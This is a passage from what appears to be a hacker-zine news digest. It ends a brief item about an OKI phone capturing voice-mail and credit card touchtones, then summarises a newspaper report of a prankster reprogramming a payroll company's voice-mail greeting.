touchtones of voice mail box codes and credit card numbers. Said V.T. of the OKI's programmers, "This phone was clearly built by hackers."] ------------------------------------------------------------------------------- Callers Invited To Talk Sex, Thanks To Hacker's Prank February 5, 2020 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (The Vancouver Sun) (Page A-9) [For the past two weeks, surprised callers to CTC Payroll Services' voice-mail system have been invited to talk sex. Instead of a pleasant, professional salutation, callers hear a man's voice suggesting that they engage a variety of intimate activities. The prankster is a computer hacker who can re-program the greeting message on company telephones. Company owner Cheryl MacLeod doesn't think the joke is very funny and says the hacker is ruining her business.] _______________________________________________________________________________ .